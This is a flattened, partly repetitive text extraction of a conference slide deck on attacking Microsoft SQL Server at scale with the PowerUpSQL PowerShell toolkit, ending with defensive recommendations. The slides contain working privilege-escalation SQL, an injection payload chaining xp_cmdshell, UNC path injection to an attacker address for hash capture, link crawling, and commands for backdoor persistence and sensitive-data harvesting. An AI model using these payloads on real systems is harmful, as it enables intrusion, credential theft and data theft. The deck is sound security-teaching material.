4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 42: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

